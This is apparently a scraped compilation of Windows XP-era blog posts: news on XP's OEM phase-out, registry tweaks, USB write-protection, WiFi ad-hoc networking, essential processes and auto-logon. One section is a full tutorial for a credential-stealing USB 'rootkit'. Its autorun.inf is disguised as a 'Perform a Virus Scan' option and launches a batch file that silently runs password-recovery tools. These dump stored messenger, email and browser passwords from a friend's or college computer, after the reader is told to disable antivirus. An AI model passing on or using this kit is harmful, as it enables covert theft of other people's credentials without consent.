The Sun sets on XP as Microsoft phases it out despite interest

Windows XP has been the iconic operating system since it debuted in October of 2001. By today's standards the computers made back then were little more than large calculators but perhaps I am exaggerating that point. Since that time Windows XP was installed on every single computer sold but now the sun is going to set on the operating system that was known as Windows XP.

Microsoft is intent on no longer making OEM versions of Windows XP, this means computer manufacturers will no longer be able to install XP on systems unless they have a very specific agreement with Microsoft or are just good buddies with them like Dell.

Dell will introduce systems under a Customized with XP slogan, there really isn't much more information on that but these systems won't be on offer until later this year. Other manufacturers will probably just offer Vista on all their systems since Dell is the only one to have strong objections to this so far. But, Dell also has some of the strongest ties with Microsoft so it makes sense THEY could get away with it.

This could also mean that you will no longer be able to pick up OEM copies of XP from online retailers like Newegg and others. It has not been speculated on what this means for full retail copies of XP, my guess is that its demise is not far behind.

APCMag is reporting that by early 2008 most of Microsoft's contracts with computer manufacturers will require them to install Vista only and they wont have a choice. Consumer demand for XP preinstalled on systems is still strong and given the compatibility and performance problems of Vista on SOME systems this move is probably a little premature on Microsoft's part. That isn't going to stop them.

I'm all for Vista, I think it is a nice step forward and believe it or not those backwards compatibility issues with programs is a security feature if older apps can't run that means older viruses or spyware can't run in some cases, I've also noticed lower infection rates across the board on Vista at least for the short few months it has been out.

What will keep most people away from Vista are the hardware requirements. Most consumers will have no choice but to buy a completely new system if they want the full Vista experience and that should include a dedicated graphics card, dual core processor and 1GB to 2GB of memory (laptop or desktop) when buying a computer with Vista.

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How to Hack Passwords Using Pen Drive

Today I will show you how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passwords from their stored places. Using these tools and an USB pen drive you can create your own root kit to hack passwords from your friend’s/college Computer.

We need the following tools to create our root kit:

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE Pass View is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: Password Fox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, Password Fox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedure to create the password hacking toolkit:

NOTE: You must temporarily disable your anti virus before following these steps. This hack works on . This procedure will only recover the stored passwords (if any) on the Computer. Some versions of Fire Fox don't store passwords.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pen drive.

ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy theautorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps:

1. Insert the pen drive and the autorun window will pop-up. (This is because, we have created an autorun pen drive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pen drive and you’ll see the stored passwords in the .TXT files.

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How To Prevent Windows XP Users From Writing To USB Drives

USB drives are extremely handy tools, but in some instances it might not be a good idea to allow users to write onto these devices from their PCs. This is especially true when working with highly confidential data or intellectual property at work. Users of Windows XP with service pack 2 installed can disable writing to USB devices.

To do this:

Open the Registry Editor click on the Start button on your taskbar, then click on Run and type “regedit” and click on OK to start the regedit utility.

Expand HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control.

From there right click and create a new key and name it “StorageDevicePolicies”. In the window on the right then create a new DWORD value and label it WriteProtect, give it a value of “1″ and users can no longer write to USB drives. To re-enable this option change the value to 0 and users are again allowed to write.

The modifications you made will be in effect after you reboot your PC.

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Remove Start Button from the Task bar

Users who like total desktop conversions might seek methods of removing standard Windows elements like the Windows Start Button to maximize screen estate. Not everyone would want to give up on the Windows Start Menu but someone who is working with an application launcher like Launch would probably not miss it at all.



But even those users who rely on the Windows Start Menu won’t have that many difficulties accommodating because Start Killer, the name of the application, removes the Start button only for the time it is running in the background. It furthermore provides keyboard shortcuts to display the Windows Start Menu even while running.



Start Killer will automatically remove the Windows Start Menu button from the Windows Taskbar once it is running. It works with every taskbar orientation possible which should make users happy who run the Windows Taskbar on the left or right side of the screen.



A few things need to be explained. The Windows Start Menu can be displayed with the keyboard shortcuts [Windows] or [CTRL+ESC]. That opens the Windows Start Menu at the usual position and hides it again once the user has finished the task at hand.



Start Killer adds an icon to the Windows System Tray which provides access to several settings after right-clicking it. The application can be set to load on system startup. It is furthermore possible to disable the System Tray icon in the options.



Computer memory usage of Start Killer is at the low end with about 2.5 Megabytes and barely any virtual memory.

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Windows XP, WIndows 2003 registry hacks for better performance

Here are some of my favorite registry hacks for getting better performance from your Windows XP / Windows 2003 box.

1. Faster application loading : For faster application loading you can change the prefetch parameters value. Windows perfetcher loads application faster by prefetching the applications and storing it in prefetch cache.

KEY : HLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters

Value Name : EnablePrefetcher

Value Type : DWORD

Preferred Value : 5

2. Boot files optimization : This hack will enable the defragmentation of boot files, which may result in reducing the boot time.

KEY : HLM\Software\Microsoft\Dfrg\BootOptimizeFunction

Value Name : Enable

Value Type : string

Preferred Value : Y

3. Unload unused DLLs : This hack will enable the automatic unloading of program associated DLLs from memory when a program ends. This will free the memory and other resources for other running programs.

KEY : HLM\Software\Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL

Value Name : (Default)

Preferred Value : 1

4. Disable user tracking : Yes, you read it right. Windows XP tracks each and every action you take, each and every move you make. It tracks program run by user, the paths followed, the documents used and M$ knows what else. Disable this “feature” will free up system resources and other side effects you may yourself think of.

KEY : HCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Value Name : NoInstrumentation

Value Type : DWORD

Preferred Value : 1

5. Configure system cache : If you are using your system as a server then file caching is good. If you are using your system as a desktop then file caching is not so good.

KEY : HLM\System\CurrentControlSet\Control\Session Manager\Memory Management

Value Name : LargeSystemCache

Value Type : DWORD

Preferred Value : 1 (for servers)

Preferred Value : 0 (for desktops)

6. Faster shutdown : This hack will enable the shutdown without waiting for running applications to shutdown safely.

KEY : HCU\Control Panel\Desktop

KEY : HU\DEFAULT\Control Panel\Desktop

Value Name : AutoEndTasks



Value Type : string

Preferred Value : 1

6. CPU time slice allocation priority : This hack will allow you to configure your CPU time priority for foreground processes. This hack is only useful if you are using your machine as a desktop system.

KEY : HLM\SYSTEM\CurrentControlSet\Control\PriorityControl

Value Name : Win32PrioritySeparation



Value Type : DWORD

Preferred Value : 2 (foreground task have higher priority than background ones)

Preferred Value : 1 (foreground task have maximum priority)

And don’t forget to reboot after applying all these registry hacks.

OK, folks that’s all from me for now. Will keep you updated with my adventures in my technological life.

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How to Connect Two Laptops Using WiFi

This is step by step tutorial on how you can connect two laptops using WiFi (or two desktop computers with WiFi devices). This type of network is known as peer to peer network and is useful for file sharing and using same INTERNET connection on both systems. So as told earlier you should have two laptops with WiFi or desktops with WiFi devices to make this connection.



Connecting Two Computers Using WiFi

Let’s name both laptops as PC1 and PC2. Now we need to set names and workgroups of both computers (Remember both computers will have same workgroups). To set the name and workgroup of both computers right click on My Computer and select Properties. Click the tab which says Computer Name and change names of computers as you like (Here we will set computer names PC1 and PC2) and also change the Workgroup option as you like (but this Workgroup should be same for both computers).

Now you need to make “Wireless Network Connection” in PC1. Right click on Wireless Network icon for this and click on option “View Available Wireless Network”.

Now click on option “Change Advance Settings”.

Now a windows “Wireless Internet Connection Properties” will open. Click on the tab which says “Wireless Network” and then click Add button. Now write a name in Network Name field. You can also set a password here if you like and also remember to check the option “This is computer to computer network”. Now press OK and “wireless network properties” will be closed.

Now in next step, you need to provide IP for network in “Internet Protocol (TCP/IP)”. For this, right click on “Wireless Internet Connection” and go in Properties and click Internet Protocols and then click Properties. Here For example.

PC1 = IP Address: 192.168.1.1 Subnet Mask: 255.255.255.0

PC2 = IP Address: 192.168.1.2 Subnet Mask: 255.255.255.0

And Default Gateway as 192.168.1.1 (same as IP address of PC1). Having done this all, you can connect both computers using WiFi.

File Sharing Between Both Computers

Now for file sharing Enable the Sharing of “Shared Folder” in both computers. So to go in other computer, write IP address of that computer in address bar of first computer and press Enter (in this case write \\192.168.1.1 and press Enter). This will open other computer’s sharing folder where you can share file, delete files or rename them (make sure to allow these actions from other computer).

Wireless Internet Sharing Between Both Computers

It is very easy to do when you have followed above procedure. Right click on “Internet Connections” on one computer (which has INTERNET connection in it) and go in Properties and click on Sharing and check the option which says “Allow other network users to connect through this computer” and select “Wireless Internet Connection” in “Home Network Connection”. If you want you can also check “Establish Dial up Connection” and “Allow Other Network” .

That is it. You have connected both computers using WiFi and now you can share files, play games and chat on this network.

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The Bare Minimum Processes Needed to Run Windows XP

When repairing a PC by either trying to shutdown a virus, trying to remove adware/spyware/malware, or just trying to get a speed increase, you need to shut down processes that run in the background.

It is necessary to know the bare minimum processes which Windows needs to operate, and it is sometimes difficult to tell.

Here is a list of the essential processes that Windows needs to run correctly.

System Idle Process

explorer.exe

taskmgr.exe

spoolsv.exe

lsass.exe

csrss.exe

smss.exe

winlogon.exe

svchost.exe – You will notice more than one running.

services.exe

By shutting down anything other than these processes, stand alone Windows should operate fine, however, if any of these processes are shutdown, Windows will start to become unstable, or unusable.

On most computers there will be multiple instances of svchost.exe, these control various connections on your computer whether it is to the Internet, or within a LAN. It is usually safe to switch off some of these, however, it’s not easy to determine which ones, so its better to leave these alone.

To shutdown a Windows process, Press Ctrl+Alt+Delete which will take you to Windows Task Manager, click on the Processes Tab, select a process and click End Process.

If you are not sure what a particular process does, then I recommend checking out Uniblue Process Library, a library that lists what each task does, its threat level,and makes it easy to determine what is running on your computer.

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Bypass The Windows XP Log On Screen

To make logon an unattended process:

Click [Start] [Run] and type

control userpasswords2

Click [OK]

The [User Accounts] Property Sheet displays.

On [Users] tab, clear the [Users must enter a user name and password to use this computer] check box.

Click [Apply].

Enter a user name and password that should be used to logon automatically in the dialog box that appears.

Click [OK].

Go to [Control Panel] [User Accounts] [Change the Way Users Log On and Off].

Uncheck [Use the Welcome Screen] and [Use Fast User Switching]

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